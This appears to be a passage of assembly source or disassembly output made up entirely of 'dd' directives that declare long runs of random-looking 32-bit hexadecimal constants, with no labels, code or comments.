dd 6B15B7B0h, 666F06DBh, 5FCD6AE9h, 0D0D81BD8h, 67968A70h
dd 507DE076h, 0FB84E6D7h, 9415F626h, 0FE60C3FFh, 7B8E5F67h
dd 2FB050CAh, 0C7DFDFF4h, 0A6583AAFh, 2BBA87B5h, 2188CC12h
dd 0F02D98BBh, 4A0BAEC0h, 5AB68DB7h, 0FAAFD3F7h, 53D42B6h
dd 0CC69BD5h, 41E75C94h, 94724960h, 51A3E919h, 0D76A0732h
dd 95909ED2h, 1E48BEDFh, 3B16E1E2h, 0B79C54Fh, 5EE1824Bh
dd 0BFDA7948h, 31EBA9BEh, 787F8C2Ch, 2B9EFA8Fh, 0A79F8366h
dd 0DC5B547Bh, 3F8BA1B1h, 0C0F1D047h, 2318C336h, 46A82575h
dd 5A1096B5h, 8D5346CDh, 0E880C84Ah, 0C4C6B711h, 0E87FEBF5h
dd 9D581186h, 80270981h, 42DA8230h, 0A16D04CDh, 92A229E4h
dd 49E16C40h, 2D648DAh, 0B1492870h, 0BB0FE726h, 0E69CB3C3h
dd 805C9761h, 0DB00345Bh, 0BEAC77Fh, 0FAE67C65h, 9DEBCE21h
dd 0A12550CCh, 0B76EBCE5h, 0E2623C2h, 17D80C9Eh, 0D7B59BADh
dd 94216636h, 2BAFE625h, 5839A207h, 6BCEFFAFh, 0E450695Fh
dd 0D75D4F02h, 0D8B3CCCEh, 16219540h, 0D0307A61h, 4F5AF9A2h
dd 0C50CA820h, 517519E4h, 64BAE1DAh, 4F11D8C6h, 5BC63C28h
dd 13F59FCh, 0E6314893h, 5BB01B78h, 8ABA3621h, 7805B797h
dd 394E5763h, 0C46CC778h, 7A74FFCh, 0A1C5A066h, 4B58AACCh
dd 9661B3CEh, 0D874F7D9h, 0EBA182C0h, 0C2F34F3Ch, 0DBCE6F95h
dd 75D776C7h, 1662F01Bh, 0F74505D3h, 2A7773B9h, 9B0B176Ch
dd 22848B6Ch, 9DC3F253h, 0D5B2B8ACh, 48867782h, 70B37C82h
dd 31FE89DCh, 893408CDh, 0B288F06h, 0B6E4B3F3h, 0A9B81CD6h
dd 19FF8B2Eh, 0A94C42E7h, 0E4E93A5Eh, 385490D3h, 0CA335E5Fh
dd 0B59C24F6h, 0FA5783CFh, 6DD074ACh, 0E586F54Fh, 0CF22513Ch
dd 5FFF93ABh, 0B531B514h, 46185517h, 1BF3472Eh, 0E8F0D60Fh
dd 8C281F66h, 258540h, 0AF78DC49h, 13881E4Fh, 219AE7ACh
dd 48EDBCA1h, 0A8CF73A2h, 0B4E84DE6h, 2F6F2630h, 0B95F6AD0h
dd 0F6219129h, 983A3F6Fh, 186F2C31h, 2119BE72h, 0F2215CB5h
dd 67B9F842h, 6E5BD91h, 398534Ch, 0AA820FCEh, 17C5773Fh
dd 0BAFCC84Fh, 0F2117545h, 49E105D6h, 0CAD96C2Eh, 4E410069h
dd 0F0D59919h, 0BA587A77h, 11341029h, 0F0AF1ABCh, 78389B82h
dd 542118CEh, 7992A4B6h, 0A11391F5h, 9174E741h, 59FD7AA5h
dd 215D1333h, 877D3493h, 6063DEBEh, 0D882B252h, 0BC0390C0h
dd 3AF3C303h, 9267F1C0h, 73176C12h, 13FC435Ah, 579619CEh
dd 61CA57C2h, 36AFA44Eh, 758EE99Dh, 0EC33D2ECh, 0EBE9866Eh
dd 72DEF954h, 0DA3E2ED6h, 7A69BDD3h, 7588CED0h, 0F7E32AEEh
dd 0CE170987h, 1C5E2383h, 0FCF5FBh, 38A95528h, 0F8836070h
dd 8EEA52FFh, 0C290ADDBh, 32C896A8h, 0DC2FDC49h, 91D198B5h
dd 8FA6AD8Dh, 5708DC67h, 0C4C7EF00h, 0C81078E3h, 0B13F4192h
dd 0B04EA867h, 0D7AC0FA4h, 9997D96Ah, 82B13780h, 49E09E77h
dd 33D1C493h, 35FF5905h, 830EB699h, 2748FDFEh, 0F89BAA98h
dd 45DD6FD3h, 0ABA0AD2Ah, 0F34BAA01h, 9D20A56Fh, 71B39ED9h
dd 6BD32C35h, 808FF8C7h
dd 0E25F4756h, 0F7D4A918h, 0DB4FE68h, 0BF8DA1AEh, 0F22FF60Bh
dd 0E273647h, 0CD678A36h, 1DA3AD89h, 56EC19ECh, 6F858643h
dd 5C808065h, 0E71D6004h, 46B7D287h, 0C20A5B9Ch, 94AE6D76h
dd 0C37FABD3h, 0E1AF4BBAh, 1F296D79h, 99C31D27h, 77029B4Dh
dd 8305A20Bh, 0BBFE0F17h, 6F96C3Dh, 322CD45Dh, 4B4D4FB0h
dd 6617216Eh, 230AB5DFh, 63732579h, 0DD111D6Fh, 8457E001h
dd 5FE61F8Dh, 9760B1A1h, 0C1DD2857h, 0AB64DCB9h, 9D529F9h
dd 44F9C02Ch, 8606CE60h, 5E94863Fh, 3C9E7C84h, 4C1D27Ch
dd 0C3E1E04Eh, 0FEBAFDEh, 3FEC912Fh, 0D75DD554h, 5496FC7h
dd 17D875FDh, 83FD6F2Eh, 37DD26ADh, 53011F11h, 0E6DA7B1Dh
dd 0A1F2518Ch, 8798FE18h, 755F669Fh, 874D457Fh, 4000593Dh
dd 0E3B205B7h, 0C84B71Ch, 211C03C1h, 1AE9A4Fh, 6086AD70h
dd 5914FDD8h, 0DF670C47h, 0A773EC02h, 0F08688C4h, 71FB1BC8h
dd 91DD1BC8h, 0BF8A2FD2h, 0B69CD2EDh, 39DBD8E3h, 0DF17EAECh
dd 801106DEh, 0C6EDD177h, 976638E5h, 2349487Fh, 7BD1DC0Bh
dd 58F71AEDh, 70951FA8h, 0B55E4B50h, 0A357A984h, 0A80D13C6h
dd 3C0E1D2h, 0D1C8A9EAh, 0ECF664C3h, 0FBA58342h, 5140D05Bh
dd 0A5AD753Ch, 5054408Ah, 0C2F07E31h, 1D5AE913h, 0A78AF244h
dd 0A27E6745h, 363BB078h, 7D9F8659h, 0F12894D9h, 4332E211h
dd 0C7CA02ABh, 438CA1FCh, 60D917D6h, 35DD48BDh, 8ECBA3D9h
dd 5BFA72D5h, 66506BA5h, 0CBBF2ACh, 0C20DA038h, 2DDF7298h
dd 18D6D7DBh, 0B2781536h, 0AF78FA62h, 0BA261FE8h, 0FF955AB0h
dd 96C44100h, 8AE8FF82h, 0E74AD4FAh, 0E2187B2Bh, 6B3F75ACh
dd 7AA2BA17h, 1FF9ED4h, 5B8F4F52h, 8ABF55A7h, 0F5CF832Dh
dd 0B370D58Ch, 39C36EE7h, 609C6F34h, 0A9387480h, 683BA4EFh
dd 0F43D3775h, 5C5F903Eh, 31977DEEh, 84CA65AAh, 0F50F7C29h
dd 595E7C66h, 0D7D9115Fh, 0B73643BAh, 8009F7FCh, 2D61CDEBh
dd 0A3F051C5h, 0E8749AE4h, 4861FD98h, 0DF247275h, 309B71ECh
dd 0C1872E0Bh, 3F72E7BEh, 598041BDh, 0AF51E915h, 0F645862Ch
dd 851EDD10h, 469E45C5h, 0D93A20C5h, 342ED19Bh, 0A7F8C355h
dd 78296634h, 0D2E6E13Eh, 3F8463F8h, 113BBA26h, 30BD257Ch
dd 1FB58875h, 0D17D47BEh, 35D6457Ch, 754D7D45h, 46161418h
dd 0E14400A3h, 2F63D12h, 0D59AD475h, 5C6800B4h, 504E6941h
dd 6468B4F8h, 43C932EBh, 2647EC7h, 0E384DA98h, 10822118h
dd 6A12CBACh, 9A902E37h, 3781CB5Fh, 45B0A634h, 9A651329h
dd 37C9FD30h, 99FDD035h, 4F9CEC8Eh, 0AC0A627Ch, 0D47F9B33h
dd 9AD32A18h, 305DE969h, 0CA736F80h, 0FCA2D17Bh, 630EA2D3h
dd 366C834Dh, 98DAD0D3h, 0FC3AEA95h, 5218A47Bh, 0D72D3DD5h
dd 0D9C0F196h, 3C34A61Ah, 1DA3A254h, 32F4BBCh, 6D80E0A8h
dd 85313E07h, 0AB514420h, 95513D1Eh, 41ACA3A6h, 9FB44B1Bh
dd 0DC5D9ACEh, 21751A06h, 9FFBBDC2h, 573AE7F5h, 0C8C23E34h
dd 44EC80E4h, 385180F2h, 540BBA44h, 0F56E85ABh, 458B62D6h
dd 98BC6186h, 0B599E5Dh, 0C445263Bh, 71D98709h, 5586C76h
dd 30EB8D25h, 30D96A04h, 0ECF2C37Ah, 373EB281h, 5A7A7351h
dd 0CDFBE6F0h, 28791783h, 20B3C3Fh, 4EE3FA24h, 48EFC4DBh
dd 244EE889h, 4C147187h, 0A929D6Eh, 0F63C589Ch, 0A5BBE869h
dd 82DE1A6h, 0B0BFE83Eh, 0C2C0C78Fh, 77B09E51h, 2610CC6h
dd 0CE0566E7h, 476A2E3h, 591B9118h, 0DDCCA631h, 5862B77h
dd 7667BE37h, 3FCAB173h, 0D2C102F1h, 0E7E7E3A3h, 0DBB00F3Ch
dd 185BB964h, 0C704F305h, 7698AF78h, 0BF87FA3Fh, 0CF7EB008h
dd 11E54CC0h, 158539EEh, 1050EB1Eh, 0B5EAC45Ch, 6E227D58h
dd 0D44F4D41h, 0A281E655h, 0B5296B32h, 3DB2EED5h, 42BC0563h
dd 1383C39Ch, 938AA95Ch, 0B60D6959h, 0A7F9B921h, 16C3BF2Dh
dd 99433530h, 25B6FE07h, 70B5235Ch, 0A79C53B3h, 0FEF03D65h
dd 7BACD4A9h, 5CCFC0C6h, 988C8D31h, 0C6A206CDh, 0A9706A2Ah
dd 2E7D98C8h, 1BD90326h, 0EC48CF65h, 0E350F7F4h, 0E27574D2h
dd 87648639h, 60230912h, 0F97312CDh, 0F3E09F3Ch, 40DF5BFh
dd 173D2675h, 0CC6E7300h, 18E93579h, 0F77EB998h, 70E41EABh
dd 396BFB9Dh, 58D213Ch, 8D4896C5h, 2B355DD9h, 0F8B60ABDh
dd 1AC1BB26h, 0EE09B8A9h, 89D6C488h, 0B628E04Bh, 2328F934h
dd 0BB11EA17h, 0D5F85E6h, 36F61A8Ch, 8EC1DE07h, 0EA44B42Dh
dd 0D839AFD2h, 929E6E6Bh, 4C78898Fh, 0FF455823h, 6765DB3h
dd 0D58BD94Bh, 0AA343FBFh, 0C56F8A49h, 82387B6Ch, 0DF8212AAh
dd 27C29E8h, 0CF27B385h, 0F8793293h, 0EAB71760h, 6ECBD10Ah
dd 354E2E07h, 673C9F3Bh, 464858Ch, 9D5D352Ch, 0C2180444h
dd 4D99ACEDh, 0E4B04DA8h, 164C354Dh, 6DC4BAA6h, 18F13F8Dh
dd 5AB621C7h, 0B3805AB4h, 355F3872h, 3FE84510h, 0D5BC6E27h
dd 97C3FFA0h, 0D67832h, 42CE71D4h, 865D5AADh, 8E752A9Ah
dd 8A30B0B9h, 0BC18C065h, 4D752CD9h, 0C1D0AE5Dh, 0AA38FFF7h
dd 0C5C8E29Ah, 19E592F7h, 1356BC5Bh, 0F1C55D4Fh, 0F03EB1F9h
dd 81DF48h, 0E1191BF2h, 7014B016h, 0DEE25A18h, 31FF075Ah
dd 4BD02172h, 0B0AC903Ah, 57AB1136h, 2407D677h, 0D17EB944h
dd 8C0864BBh, 0DEBEFD3Ch, 9595D35Ch, 26D9490Ah, 1059F811h
dd 8D69084Ah, 0E63B7FE8h, 29026858h, 1094400h, 219F07EBh
dd 275FCC07h, 56388CB9h, 821C2D43h, 3BD21A15h, 3849D181h
dd 1A90251Fh, 331AD57Dh, 57C27F97h, 6BA5077Ah, 64E8508h
dd 7BD487Ah, 0A2C3A1A7h, 25EA9F74h, 16B3EB01h, 23EC7E56h
dd 493617DEh, 87C8C004h, 64363655h, 0A7CF0467h, 7233D980h
dd 0B09421CFh, 0C7DB9BDCh, 0A45D06Ah, 8589701Eh, 5C35247Bh
dd 9333CB0Ah, 0E2A20AE1h, 8B1B30BDh, 26FE7611h, 0BA573FD4h
dd 0FB94DEF5h, 642762E9h, 179E79ABh, 0A817E557h, 0B0C9938Fh
dd 51695754h, 13CE6497h, 7868FF4Ah, 55D10Dh, 3DCCA32Ah
dd 801022C1h, 135AD8B1h, 0F2E7767Ah, 39D1B43Ch, 0DDDE397Ch
dd 0F7E900A1h, 0C8A792B5h, 8560116Fh, 4E47D73Fh, 0EFC84348h
dd 0A88C6E0Dh, 0F8C8C840h, 0B7C365Dh, 978DB73Dh, 185B66E1h
dd 5AD093FFh, 0A56F0276h, 0C9FD6A6Bh, 5C7A97F5h, 2B994713h
dd 237CCD8Bh, 29C1B3EAh, 9298CD4Dh, 0D038BA3Bh, 696FE0E2h
dd 0A66FB27Bh, 16700F3Dh, 0C9BC46AEh, 828C05A3h, 0C076AABAh
dd 0EC89E7F3h, 0D1C26C14h, 1162770Ah, 66B6CDC2h, 0B2FEFE21h
dd 0A66EA673h, 0E01870E6h, 4CB0A0C5h, 0AF67B2B2h, 903E8834h
dd 5CA62691h, 2694B0BEh, 0F0145294h, 35DD37F2h, 4C6B672h
dd 0C3E301F5h, 480CD8B3h, 99988319h, 0BAB4D306h, 1CCF94C7h
dd 0CBE732C0h, 0D470F049h, 878B4BCDh, 32382B4Eh, 6CAB9691h
dd 0F58B6860h, 0A5FF5D5Fh, 0A61C9E61h, 0EE93D7D4h, 0AE210103h
dd 0F3AEE3Ah, 0EED95202h, 0C2799653h, 0E6407A49h, 4C7E6EF3h
dd 3B74EAEAh, 5EE80EA1h, 19159049h, 0C74E0BD9h, 240E047Ch
dd 0E33C55BDh, 5D37EBBAh, 656B13E4h, 0FFE87DABh, 4004C941h
dd 76E41DC9h, 23F4118Eh, 52B4B3F7h, 0A7F82639h, 0D2D7EEEFh
dd 97F02CC8h, 9DAFB06Dh, 5297B10Bh, 48F0159Ch, 6C9A74FDh
dd 19F67EBFh, 9B8BD92Ah, 84DE87Bh, 0C2E18694h, 668AF3F9h
dd 8DC68EE1h, 65611E6h, 34630967h, 0B4C8AC87h, 77494D2Bh
dd 0CA4A4937h, 0FAA7D056h, 0E76F3826h, 4F7C22B6h, 0A92C859Eh
dd 0E11D2B05h, 0B0B07498h
dd 0DD2110EDh, 46DA036Ah, 70EBBB1Ch, 3F7DC664h, 0CB567169h
dd 0E07637F5h, 0DC23AB60h, 0BE522A9Dh, 0C0654C0Bh, 6385814Bh
dd 0D4856C47h, 0E2E7B512h, 9BA970C9h, 0BEB951C4h, 3375B92Dh
dd 0A07B49Bh, 0E40EA2F2h, 6E9C4BA4h, 0C66CA69Dh, 9130304Fh
dd 7587651h, 8B35BBB2h, 2AE6E8B4h, 5442340Fh, 6CF24CEBh
dd 96988ED8h, 242DD720h, 0A49AD117h, 0A67F550Dh, 0A802CE59h
dd 0A25DF7E6h, 4839E474h, 0AA903035h, 1596636Ah, 6A0833Bh
dd 0EADA9F05h, 3D783621h, 0B43C30C7h, 105F9DD8h, 2A0CA5Eh
dd 191588DFh, 0DF4A26A4h, 0C53713B3h, 461CD598h, 428F1AEDh
dd 0C7648DFAh, 43E4A12Ah, 0E61BEA53h, 34BE19D7h, 0CAD89D71h
dd 3EFADB93h, 19B6E3EFh, 0FCE564BEh, 51E49947h, 7B034A1Dh
dd 64C5351Ch, 5CF0D87h, 6B834721h, 493BF352h, 57838439h
dd 1D7DA83Bh, 0F41C8A05h, 68F896B6h, 98E568E0h, 28322940h
dd 0CAE92602h, 5DBC28D2h, 3D5021EDh, 290E247Fh, 7D20D047h
dd 83070Bh, 33B3FF25h, 869B972Bh, 0BEEE492Bh, 86104522h
dd 0CD5EB559h, 0FDE89609h, 2CB3CCF0h, 0D1A1F507h, 2794A56Dh
dd 0C74F6CEBh, 911713F7h, 0F7A8FF7Bh, 4CB1981Eh, 0CCA71229h
dd 79B23FA1h, 0F5F39A5Fh, 0BC259DC1h, 8207D6D0h, 8DEFD1C0h
dd 0A25CB44Bh, 276B7738h, 41E886E4h, 9E7CFBEh, 4A8B388Bh
dd 0D0ECC478h, 0D63FD0DBh, 94926E89h, 9AE981B5h, 0E4F68528h
dd 0A9AEEA96h, 0A92C4B8Ah, 79A57E1Eh, 0DD6B058Dh, 47212D75h
dd 0EB881EA9h, 3EF739F7h, 0B54BFBB7h, 9CD13D0Dh, 8E9D5DB8h
dd 0FC2E1002h, 7592D0E1h, 24D541B2h, 0B8585AE6h, 0E5ACBFEFh
dd 35E1CCEBh, 280FCAA7h, 61B24CD0h, 383111E8h, 62EBF441h
dd 42736A81h, 70B01A20h, 0F65E3C03h, 0F51D30E4h, 0FA0EEB8Bh
dd 0EE21EBBh, 673DA92Ah, 43CAA973h, 69378C17h, 9C68B540h
dd 6DA3AA01h, 3E4116CFh, 9CA98DE0h, 91CCAA46h, 0A5D64F65h
dd 90AE6E6Ch, 0A78E4026h, 1FCECD72h, 91E78095h, 0FA78D2E9h
dd 810F9F2Bh, 7C78F109h, 0D6F53D57h, 0B9CAB9D7h, 3CAA939h
dd 3B173269h, 0C10284E8h, 7B415C68h, 0E1CFE195h, 0D36701Eh
dd 0DAC7B87Eh, 653829F9h, 1E043FAEh, 1CAB1E6Eh, 14D4C834h
dd 0B497408Fh, 0C24CF0D8h, 79E36978h, 270F36F7h, 0B4CC8986h
dd 97661E03h, 0E6B783FFh, 0DFBBA6C4h, 0DEAF10A0h, 0F5473214h
dd 0D59DFD3Eh, 0D1F23358h, 0CF4B8C92h, 4A2C2543h, 0A78308ABh
dd 0C29355B6h, 8280284Ch, 726533B2h, 7B2994CEh, 74468CC9h
dd 4A72A763h, 0F7866592h, 8FFFC8B8h, 0B9506AD5h, 551C0CD0h
dd 7C361834h, 9ED139BCh, 0FF990C57h, 8236AEE0h, 67B0CD3Eh
dd 43F016BFh, 39DBE167h, 91DEC4BBh, 80F5B4B5h, 20F1C70Ah
dd 6D411A8Eh, 0E1F3E20Ah, 0B0CDDC52h, 0ED8C6C5Eh, 0F06B8BA5h
dd 0C0DE9A3Eh, 0EA1F6D51h, 0D0086022h, 36C3ADAh, 193AE0C1h
dd 713B9698h, 93684B61h, 0CB9CF1A2h, 0B735C4FDh, 7D06B357h
dd 0DBD179DFh, 0E1FB7862h, 0EF65D70Fh, 431C906Eh, 0DAD727D7h
dd 8F45BC95h, 0D9311761h, 88F96011h, 6B6613BDh, 3266E07Bh
dd 0C1F77EA7h, 0E4DACFA4h, 0A75B08EAh, 0D00D9894h, 93D1CA57h
dd 0DF4540DBh, 0F325D59Fh, 3B2D1B55h, 760B995Eh, 0D0913834h
dd 87775D54h, 0A1B165DCh, 0EE7DDC1Ah, 92B4F090h, 5457B34Eh
dd 6049E8C2h, 0CF152477h, 0BB4B7867h, 0B86DD724h, 0DF61C000h
dd 98E4B7BCh, 8F63A5BFh, 0F6E9FEC3h, 74EDDC25h, 1C64A6E4h
dd 0F80E024Ah, 0A4476D40h, 0CF64AF3Ah, 89C5CC0Dh, 0CCAC7E1Fh
dd 37B73568h, 1A7ACC04h, 4C6FC814h, 0EEA072E0h, 558A48D8h
dd 0C4EEB594h, 0CC081A99h, 8EA1A899h, 8ADE9B67h, 0B5B2831Dh
dd 7309977Dh, 0CE0213E9h, 2A653C33h, 4B48B95Fh, 0E15BADDFh
dd 77DFDAFCh, 40E054C5h, 7AF6FEC7h, 0ABD21201h, 33476587h
dd 9F2F85Eh, 0B35A6437h, 19370E8Dh, 3C3E54F4h, 25BC11C6h
dd 0BB276241h, 0C0B313BDh, 162E9813h, 0C61FE7E0h, 0F96D633Ah
dd 3B9C1B81h, 0E4B636C9h, 3AA44C95h, 13B3DAB2h, 57CFBE89h
dd 0D42E0F02h, 6AAE5C01h, 0F5413D69h, 0DB2E678Fh, 69750CB0h
dd 0D7E28747h, 0F4B3470Dh, 75FA303Ch, 2F94A222h, 3E691C55h
dd 90F259DEh, 5B80A1DBh, 0AA5DF80Fh, 0E524DF5Fh, 0E2F2D81Bh
dd 0D4ED4BDDh, 6CBD6026h, 0F508E444h, 88463E50h, 0B4676B73h
dd 27495B67h, 54521946h, 0BB1B0BFEh, 92E80BACh, 5B2C4E75h
dd 4ED490B7h, 433AA25h, 9601D146h, 136747F8h, 783BF4EBh
dd 0C706DFE5h, 0B9A3332Ah, 0DB2AE421h, 0FD099C4Ah, 0A9ECE0B8h
dd 0C681AFEFh, 0A25D22D5h, 7DAD5E2Bh, 7DA088h, 6E2E4CD8h
dd 0A11F5AF0h, 0FD6E0E61h, 0CDA40B07h, 5E17F566h, 4031A39Ah
dd 0D9143F31h, 6C2D0050h, 83074A5Fh, 2EB8F993h, 94A7E8A7h
dd 4CB78C0h, 0ED4FD94Ch, 393F8689h, 7B30D9F0h, 780285F2h
dd 0A3925F86h, 0BDA0DCB6h, 882535F8h, 9EE190F9h, 1A49A7D2h
dd 9D2F254Ah, 0C7865FB1h, 0CDC11024h, 12400F56h, 0B0389BB1h
dd 32A42D88h, 616F8E57h, 2647BBEBh, 3BA71BD9h, 6A2C72DBh
dd 0D70FEF72h, 9165676Ah, 2F392B82h, 0A0CA1830h, 5F978D6h
dd 0C89BFD4Dh, 0F47A6042h, 7AE68DBCh, 56A4897Bh, 727A8E8Ah
dd 8679F2C6h, 0D2D78F42h, 0F56F7CA8h, 0C9DF6B9Bh, 0A4B7EB7h
dd 9C7F75D0h, 84B96BEEh, 0B4733FC5h, 0C9337B72h, 0E11AD1CBh
dd 0FF7D647Bh, 0E9E4FFA1h, 0F3F79EE6h, 90558EF9h, 743486E9h
dd 7BB0B678h, 931A0B1Bh, 0A6D3B4C2h, 0E234FA4Fh, 0A04DF76Dh
dd 0D365E661h, 2A4C8DB7h, 62514537h, 8CFE8E11h, 1EA149C4h
dd 342FAF92h, 42A3517Ah, 0A4CFBBBBh, 0AC351B4Dh, 5735BAF7h
dd 0F3BFBBC7h, 9A8626D7h, 7D4695FCh, 81A757D5h, 0B208828Ah
dd 15C749E8h, 0FCFF3C0Bh, 4F1813B8h, 777430Eh, 170ABAFCh
dd 3A257E0h, 87506EB2h, 6B6188h, 0E806AD71h, 4C2E6F6Bh
dd 248CC104h, 0C8016B5Bh, 5B6C625Fh, 9391AE9h, 0DCA3D6D9h
dd 0E3290AF6h, 0B1F5FBB7h, 0D9B58B59h, 0DBFF0A38h, 34B7868Ah
dd 0CA1CE41h, 1B7CCBC6h, 0C8DBF137h, 4FF8EA7Eh, 1014481Bh
dd 0E7E7A526h, 393E7792h, 0B4ABCE37h, 0C3368FEDh, 8FBA57B6h
dd 0E3F1E7E9h, 0FD32DD6Ah, 0D49C2AADh, 7F2B2395h, 538C6823h
dd 793DFD4Eh, 9114EEB5h, 125B5707h, 57643580h, 22BA0588h
dd 8E28CCB4h, 6D364747h, 7AE0BFDEh, 594C8D2Fh, 2AC64DAFh
dd 0BEA56ACFh, 3E10E1EFh, 0CD4885E9h, 4AF3DE44h, 0E26AB70h
dd 0AB7BFBC8h, 6A6A740Bh, 8541B443h, 0F839B1BCh, 0A41C2FCDh
dd 74CB21Fh, 0E090A555h, 52312909h, 0EBDA0E5Dh, 0D7D9F3BCh
dd 6D9CE192h, 88B7CAD4h, 83D55522h, 2CDD7E2Bh, 0BC51F8E1h
dd 0D8313446h, 47344082h, 0F800BA0Fh, 0DB12DC57h, 5288CED5h
dd 0B257996Dh, 7C695F78h, 1C0220Dh, 69BEFD6Ah, 0C25358FCh
dd 0A2FCD020h, 6CB02415h, 0CA7A009h, 0CDD1A19Dh, 4C78B966h
dd 3B3B065Ah, 9B576590h, 3E6605CFh, 6A4955B5h, 0E50AF951h
dd 3D5EA53h, 2CB48C1Dh, 7DF8EE16h, 27D94DB6h, 0DB5FA97Bh
dd 10FE5373h, 0E63E7008h, 613B0EF7h, 0B3935FF8h, 6579078Ah
dd 0DCFE87Bh, 2F80EAD4h, 0D99FFF1Dh, 93F3DB5h, 515E202Ah
dd 852152D0h, 831A607Fh, 3FFE22DCh, 5DBF4FA8h, 0A7C62AC9h
dd 7D77F12Fh, 41F85D76h, 0A6B19CFEh, 9EAE32C3h, 0F5C441D1h
dd 8A356E22h, 1813A597h, 0A557F7E2h, 5E13351Bh, 9D6DFBFFh
dd 0ABFFEEDh, 8903F7E5h
dd 0A4E72D03h, 0B753FE87h, 0C6179538h, 3762FB0Dh, 0FE876986h
dd 66B028EBh, 0A9253646h, 828495A1h, 0C19C1F6Ch, 53333A27h
dd 0ADD270EAh, 0E3D1707Eh, 0B4C9FBD2h, 75905360h, 88FD63A5h
dd 99B02B9Eh, 81F3A00h, 4B418CFEh, 0E532C27Ch, 4FAB5C28h
dd 3B188BC9h, 0A2BDC431h, 63F30AABh, 0AAEE0F42h, 0BB95CDEAh
dd 36BE1D22h, 30BF8B98h, 74693B76h, 25954048h, 6672854Ah
dd 56EAB84Dh, 4D5C55Fh, 396DB9C6h, 0F6C387F2h, 4DAE3DEFh
dd 0B9B5101Ah, 0C156C2FEh, 0B050EBF4h, 343BB66h, 0F0269DDEh
dd 30DE603Bh, 3B128408h, 99525DD1h, 1EDA38BEh, 0AF6421E5h
dd 0B757B13Ch, 38C3A719h, 58BC5BF3h, 39EA2098h, 81A71364h
dd 411FBC37h, 98A9AD95h, 46050FBCh, 0D7AA0A83h, 0B74F7AFFh
dd 76134DFBh, 0C3B1C9CCh, 1CA3087Fh, 0C666D622h, 0A2E5BE5Fh
dd 0B7AF8087h, 1D88CCBh, 0B9B15F8Ah, 0E426A81Ch, 0B68B3AA9h
dd 0C62B8AD9h, 8AB596C9h, 23412F17h, 0BC0F56EDh, 10EBABE4h
dd 0F944C0B0h, 0CEA24235h, 0A65CC0F5h, 4665B76Ah, 9FA809FEh
dd 5231C9AFh, 0CE84B409h, 828191F5h, 0F29D9B9Dh, 3EAB5996h
dd 2B6E4E34h, 9DC7A913h, 0F2378548h, 0A5B661C6h, 7C127790h
dd 4BE5F847h, 24DEC1C7h, 72BA9B1Ah, 4C2DB7FFh, 6B75A8B1h
dd 0D5CE492Ah, 7B97AD90h, 0FF2BD6E8h, 0C2E608Dh, 2D0AA13Ch
dd 710C89B1h, 4C87125Bh, 0CF88A6B4h, 777E5163h, 5B452D9Bh
dd 0CEFB7104h, 86C80B2h, 0A39B6285h, 8AE39CEFh, 0B5416C98h
dd 49EC9CD6h, 4BD411CFh, 4239D431h, 0EAF8EB6Ah, 0C643187Eh
dd 79719BEEh, 0E798D340h, 0BFF9F383h, 0E22D5765h, 0E27C5E28h
dd 0A2D35AA3h, 0F082FA63h, 104D0A37h, 0DCF163C1h, 0FC2CBC7Bh
dd 6FC32AFBh, 674DBF24h, 84E25E71h, 90949E24h, 0A853446Dh
dd 8A1072E3h, 0F218FC2Dh, 78F17056h, 56A8766Eh, 7DED4A9Ah
dd 0DD19B5C3h, 0AFDFA4C2h, 1B8E26A0h, 0AAB65555h, 6AB01AF7h
dd 7F037E92h, 20498BD2h, 46AF7F06h, 0E7A2F167h, 0C290DD42h
dd 8AD11379h, 21CC5DFCh, 7AD524D3h, 0E48A34D2h, 7B3B6B15h
dd 0AD39BEB9h, 2AAF9D41h, 0F0C6BEF3h, 0BFA04DBBh, 0DB952538h
dd 83FC4F01h, 0A2AAE0C0h, 41240811h, 6B50EB92h, 0E7B97CAFh
dd 0FF86E180h, 4DCE176Fh, 6FC78FA8h, 88C5E5E6h, 2741DEDAh
dd 49A2DA5Ch, 51455A2Ah, 22179A17h, 64AE2149h, 608319E5h
dd 3830918Bh, 64A0D713h, 0FAD3CAEBh, 0BD0CEA3Bh, 41E074C2h
dd 0AAFF10Ch, 7813602Bh, 112298F2h, 50BE4DA3h, 82A4E36Eh
dd 9136235Fh, 196C7391h, 41DE730Bh, 119A20Fh, 0B3C9EE3h
dd 27870C80h, 0F15574A2h, 3E452CCDh, 62F891C9h, 8C437555h
dd 7EBFBFA2h, 0B7663874h, 0EF853D22h, 0E3017CB1h, 6FBD4F56h
dd 1FF3D6C6h, 8AD19B31h, 28D2BBB8h, 96702FC9h, 0F81F3751h
dd 0A2EEAA0Fh, 2FD73F18h, 0D534EFE9h, 9041E44h, 0B97A4EA7h
dd 5E2E60Ch, 1C965941h, 6F15DC50h, 0A12E5E50h, 0BE4A17D2h
dd 23999C26h, 0F1A23E2Fh, 4CFCFB1Ah, 0EB6916B8h, 70E5894h
dd 8DD2EEFBh, 7BD5E092h, 0EA48259Ch, 41988F9h, 0FE860520h
dd 8AF0E10Dh, 7536C6ADh, 77AFE163h, 328BCF3Dh, 220E9819h
dd 0E0C356BCh, 0B986543Ch, 8D24EAA2h, 0ED33D1C8h, 0BAF4665Fh
dd 0C4336F4Ch, 0F65C21C8h, 6A1E298Ch, 71A9D783h, 502C26Dh
dd 1C46F1B2h, 92E4FE2Eh, 0A7955029h, 759DFB11h, 3E8FB786h
dd 7F069238h, 0B28FD1ADh, 5492FCF4h, 902EFD6h, 0B3E41891h
dd 38DE674Eh, 94A58F41h, 0C53F57D4h, 1D5D1240h, 22425F71h
dd 7A3A4B38h, 197F008Ch, 8C78B30Fh, 0C070A68h, 0C6BE6F7Ah
dd 0CB6320Eh, 8F6FED73h, 0E5E7222h, 0D18D0DC3h, 0A12B799Ch
dd 0D3FA5E2Ah, 220073A0h, 1CD7E0D7h, 7C7DB576h, 0EF609C4h
dd 2DD8510Eh, 5AD202A2h, 485E6B4Ah, 0A28BFD4Fh, 9443922Ch
dd 6D23DAE7h, 4BFEB419h, 5F4289DAh, 2FF47A88h, 0A6F44BDEh
dd 0F9D434BAh, 0D9E1200Ch, 0AEDF8E33h, 0ECA860FCh, 0E760DAA4h
dd 0DB3D76DAh, 2C704CC8h, 0EBD15Dh, 0F1F550Bh, 6F9F7E87h
dd 65068C17h, 9BBB9BFAh, 0C1A5515Bh, 656AB01Ah, 0D03181E9h
dd 69ADBF12h, 40CCA6FFh, 0BA976B52h, 0A5209BABh, 370B1EEh
dd 8411DB9Eh, 5010FCF1h, 14220687h, 8CCCBF3Dh, 680000DFh
dd 0FEB5A36Ah, 0BEEDB028h, 70590E02h, 0B5D6534Ah, 95C595EBh
dd 80A26E79h, 481808B0h, 8E625AA1h, 0DAFBF4Dh, 0B0DA5A02h
